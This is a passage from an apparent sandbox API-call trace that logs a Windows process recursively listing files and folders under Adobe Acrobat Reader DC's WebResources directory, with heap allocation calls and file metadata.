ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.140] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c34, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.140] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c34, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0247.141] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0247.141] GetProcessHeap () returned 0xc10000 [0247.141] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.141] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0247.141] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0247.141] GetProcessHeap () returned 0xc10000 [0247.141] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0247.141] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0 [0247.141] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0247.141] GetProcessHeap () returned 0xc10000 [0247.141] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0247.143] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dev", cAlternateFileName="")) returned 0 [0247.143] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0247.143] GetProcessHeap () returned 0xc10000 [0247.143] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0247.143] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1 [0247.143] GetProcessHeap () returned 0xc10000 [0247.143] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0247.143] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0247.144] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.144] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jquery.ui.touch-punch", cAlternateFileName="JQUERY~1.TOU")) returned 1 [0247.144] GetProcessHeap () returned 0xc10000 [0247.144] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0247.145] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0247.146] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.146] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.2.2", cAlternateFileName="020A5B~1.2")) returned 1 [0247.146] GetProcessHeap () returned 0xc10000 [0247.146] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0247.146] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0247.146] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.147] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x478, dwReserved0=0x0, dwReserved1=0x0, cFileName="jquery.ui.touch-punch.js", cAlternateFileName="JQUERY~1.JS")) returned 1 [0247.147] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x478, dwReserved0=0x0, dwReserved1=0x0, cFileName="jquery.ui.touch-punch.js", cAlternateFileName="JQUERY~1.JS")) returned 0 [0247.147] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0247.147] GetProcessHeap () returned 0xc10000 [0247.147] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0247.147] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.2.2", cAlternateFileName="020A5B~1.2")) returned 0 [0247.147] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0247.147] GetProcessHeap () returned 0xc10000 [0247.147] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0247.147] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="require", cAlternateFileName="")) returned 1 [0247.147] GetProcessHeap () returned 0xc10000 [0247.147] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0247.148] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0247.148] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.148] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.1.15", cAlternateFileName="211994~1.15")) returned 1 [0247.148] GetProcessHeap () returned 0xc10000 [0247.148] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0247.148] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0247.149] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.149] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3adc, dwReserved0=0x0, dwReserved1=0x0, cFileName="require.min.js", cAlternateFileName="REQUIR~1.JS")) returned 1 [0247.149] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3adc, dwReserved0=0x0, dwReserved1=0x0, cFileName="require.min.js", cAlternateFileName="REQUIR~1.JS")) returned 0 [0247.150] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0247.150] GetProcessHeap () returned 0xc10000 [0247.150] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0247.150] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.1.15", cAlternateFileName="211994~1.15")) returned 0 [0247.150] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0247.150] GetProcessHeap () returned 0xc10000 [0247.150] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0247.150] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="require", cAlternateFileName="")) returned 0 [0247.150] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0247.150] GetProcessHeap () returned 0xc10000 [0247.150] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0247.152] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="misc", cAlternateFileName="")) returned 1 [0247.152] GetProcessHeap () returned 0xc10000 [0247.152] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0247.152] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\misc\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0247.153] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.153] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="load-typekit.js", cAlternateFileName="LOAD-T~1.JS")) returned 1 [0247.153] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="load-typekit.js", cAlternateFileName="LOAD-T~1.JS")) returned 0 [0247.153] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0247.153] GetProcessHeap () returned 0xc10000 [0247.153] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0247.153] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 1 [0247.153] GetProcessHeap () returned 0xc10000 [0247.153] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0247.153] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0247.156] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.157] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="add-account", cAlternateFileName="ADD-AC~1")) returned 1 [0247.157] GetProcessHeap () returned 0xc10000 [0247.157] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0247.158] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0247.160] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 